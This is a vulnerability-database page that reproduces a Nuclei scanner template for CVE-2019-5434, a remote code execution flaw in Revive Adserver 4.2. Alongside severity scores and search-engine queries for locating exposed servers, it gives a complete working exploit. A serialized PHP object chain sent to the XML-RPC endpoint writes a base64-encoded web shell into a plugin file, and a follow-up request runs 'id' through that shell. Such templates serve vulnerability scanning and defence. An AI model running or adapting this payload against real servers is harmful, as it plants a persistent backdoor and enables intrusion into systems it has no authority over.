Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2019-5434
HistoryMar 09, 2023 - 12:20 a.m.

Revive Adserver 4.2 - Remote Code Execution

2023-03-0900:20:00
ProjectDiscovery
github.com
105
revive adserver
4.2
remote code execution
xml-rpc
unserialize
openads.spc
php vulnerabilities
object injection
malware

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

AI Score

Confidence

High

0.281 Low

EPSS

Percentile

96.9%

Revive Adserver 4.2 is susceptible to remote code execution. An attacker can send a crafted payload to the XML-RPC invocation script and trigger the unserialize() call on the "what" parameter in the "openads.spc" RPC method. This can be exploited to perform various types of attacks, e.g. serialize-related PHP vulnerabilities or PHP object injection. It is possible, although unconfirmed, that the vulnerability has been used by some attackers in order to gain access to some Revive Adserver instances and deliver malware through them to third-party websites.
id: CVE-2019-5434

info:
  name: Revive Adserver 4.2 - Remote Code Execution
  author: omarjezi
  severity: critical
  description: |
    Revive Adserver 4.2 is susceptible to remote code execution. An attacker can send a crafted payload to the XML-RPC invocation script and trigger the unserialize() call on the "what" parameter in the "openads.spc" RPC method. This can be exploited to perform various types of attacks, e.g. serialize-related PHP vulnerabilities or PHP object injection. It is possible, although unconfirmed, that the vulnerability has been used by some attackers in order to gain access to some Revive Adserver instances and deliver malware through them to third-party websites.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Apply the latest security patches or upgrade to a newer version of Revive Adserver.
  reference:
    - https://packetstormsecurity.com/files/155559/Revive-Adserver-4.2-Remote-Code-Execution.html
    - https://www.exploit-db.com/exploits/47739
    - https://www.revive-adserver.com/security/revive-sa-2019-001/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-5434
    - http://packetstormsecurity.com/files/155559/Revive-Adserver-4.2-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-5434
    cwe-id: CWE-502
    epss-score: 0.3278
    epss-percentile: 0.96917
    cpe: cpe:2.3:a:revive-sas:revive_adserver:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: revive-sas
    product: revive_adserver
    shodan-query:
      - http.favicon.hash:106844876
      - http.title:"revive adserver"
    fofa-query:
      - icon_hash=106844876
      - title="revive adserver"
    google-query: intitle:"revive adserver"
  tags: cve,cve2019,edb,packetstorm,revive,adserver,rce,revive-sas

http:
  - raw:
      - |
        POST /adxmlrpc.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept-Encoding: gzip

        <?xml version="1.0" encoding="ISO-8859-1"?> <methodCall> <methodName>openads.spc</methodName> <params> <param> <value> <struct> <member> <name>remote_addr</name> <value>8.8.8.8</value> </member> <member> <name>cookies</name> <value> <array> </array> </value> </member> </struct> </value> </param> <param><value><string>a:1:{S:4:"what";O:11:"Pdp\Uri\Url":1:{S:17:"\00Pdp\5CUri\5CUrl\00host";O:21:"League\Flysystem\File":2:{S:7:"\00*\00path";S:55:"plugins/3rdPartyServers/ox3rdPartyServers/max.class.php";S:13:"\00*\00filesystem";O:21:"League\Flysystem\File":2:{S:7:"\00*\00path";S:66:"x://data:text/html;base64,PD9waHAgc3lzdGVtKCRfR0VUWyIwIl0pOyA/Pg==";S:13:"\00*\00filesystem";O:29:"League\Flysystem\MountManager":2:{S:14:"\00*\00filesystems";a:1:{S:1:"x";O:27:"League\Flysystem\Filesystem":2:{S:10:"\00*\00adapter";O:30:"League\Flysystem\Adapter\Local":1:{S:13:"\00*\00pathPrefix";S:0:"";}S:9:"\00*\00config";O:23:"League\Flysystem\Config":1:{S:11:"\00*\00settings";a:1:{S:15:"disable_asserts";b:1;}}}}S:10:"\00*\00plugins";a:1:{S:10:"__toString";O:34:"League\Flysystem\Plugin\ForcedCopy":0:{}}}}}}}</string></value></param> <param><value><string>0</string></value></param> <param><value><string>dsad</string></value></param> <param><value><boolean>1</boolean></value></param> <param><value><boolean>0</boolean></value></param> <param><value><boolean>1</boolean></value></param> </params> </methodCall>
      - |
        GET /plugins/3rdPartyServers/ox3rdPartyServers/max.class.php?0=id HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: header_2
        words:
          - "text/html"

      - type: regex
        part: body_2
        regex:
          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207f96397bb65566fde5aae85b907aecc2d52a49ef5cd08c9b1cbc1b38699146c8022100bb9ad9720fd16e526f72be3d0f4a1a804031b3f7d51ff1b06a9fb85b59fa6983:922c64590222798bb761d5b6d8e72950

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

AI Score

Confidence

High

0.281 Low

EPSS

Percentile

96.9%